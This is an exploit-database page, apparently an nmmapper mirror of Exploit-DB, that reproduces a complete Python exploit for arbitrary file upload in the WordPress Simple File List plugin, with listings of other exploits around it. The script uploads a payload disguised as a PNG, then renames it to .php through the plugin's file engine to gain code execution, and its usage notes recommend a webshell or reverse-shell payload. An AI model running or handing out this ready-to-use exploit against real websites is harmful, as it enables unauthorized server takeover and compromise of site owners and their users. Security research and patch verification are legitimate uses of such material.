To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"WordPress Plugin Simple File List 5.4 - Arbitrary File Upload"

Author

Exploit author

H4rk3nz0

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-02

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Exploit Title: Wordpress Plugin Simple File List 5.4 - Arbitrary File Upload
# Date: 2020-11-01
# Exploit Author: H4rk3nz0 based off exploit by coiffeur
# Original Exploit: https://www.exploit-db.com/exploits/48349
# Vendor Homepage: https://simplefilelist.com/
# Software Link: https://wordpress.org/plugins/simple-file-list/ 
# Version: Wordpress v5.4 Simple File List v4.2.2 

import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()

dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
file_name = raw_input('[*] Enter File Name (working directory): ')
protocol = raw_input('[*] Enter protocol (http/https): ')
http = protocol + '://'

def usage():
    banner ="""
USAGE: python simple-file-list-upload.py <ip-address> 
NOTES: Append :port to IP if required.
       Advise the usage of a webshell as payload. Reverseshell payloads can be hit or miss.
    """
    print (banner)


def file_select():
    filename = file_name.split(".")[0]+'.png'
    with open(file_name) as f:
        with open(filename, 'w+') as f1:
            for line in f:
                f1.write(line)
    print ('[+] File renamed to ' + filename)
    return filename


def upload(url, filename):
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
    datas = {
        'eeSFL_ID': 1,
        'eeSFL_FileUploadDir': dir_path,
        'eeSFL_Timestamp': 1587258885,
        'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2',
        }
    r = requests.post(url=http + url + upload_path, data=datas,
                      files=files, verify=False)
    r = requests.get(url=http + url + dir_path + filename, verify=False)
    if r.status_code == 200:
        print ('[+] File uploaded at ' + http + url + dir_path + filename)
        os.remove(filename)
    else:
        print ('[-] Failed to upload ' + filename)
        exit(-1)
    return filename


def move(url, filename):
    new_filename = filename.split(".")[0]+'.php'
    headers = {'Referer': http + url + '/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
         'X-Requested-With': 'XMLHttpRequest'}
    datas = {
        'eeSFL_ID': 1,
        'eeFileOld': filename,
        'eeListFolder': '/',
        'eeFileAction': 'Rename|'+ new_filename,
        }
    r = requests.post(url= http + url + move_path, data=datas,
                      headers=headers, verify=False)
    if r.status_code == 200:
        print ('[+] File moved to ' + http + url + dir_path + new_filename)
    else:
        print ('[-] Failed to move ' + filename)
        exit(-1)
    return new_filename


def main(url):
    file_to_upload = file_select()
    uploaded_file = upload(url, file_to_upload)
    moved_file = move(url, uploaded_file)
    if moved_file:
        print ('[^-^] Exploit seems to have worked...')
        print ('\tURL: ' + http + url + dir_path + moved_file)


if __name__ == '__main__':
    if len(sys.argv) < 2:
        usage()
        exit(-1)

    main(sys.argv[1])
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-20 "Zortam Mp3 Media Studio 27.60 - Remote Code Execution (SEH)" local windows "Vincent Wolterman"
2020-11-20 "Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit" local windows stresser
2020-11-20 "WonderCMS 3.1.3 - 'content' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-11-20 "IBM Tivoli Storage Manager Command Line Administrative Interface 5.2.0.1 - id' Field Stack Based Buffer Overflow" local windows "Paolo Stagno"
2020-11-19 "Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)" dos windows "Vincent Wolterman"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-19 "PESCMS TEAM 2.3.2 - Multiple Reflected XSS" webapps multiple icekam
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
Release Date Title Type Platform Author
2020-11-02 "WordPress Plugin Simple File List 5.4 - Arbitrary File Upload" webapps php H4rk3nz0
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48979/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.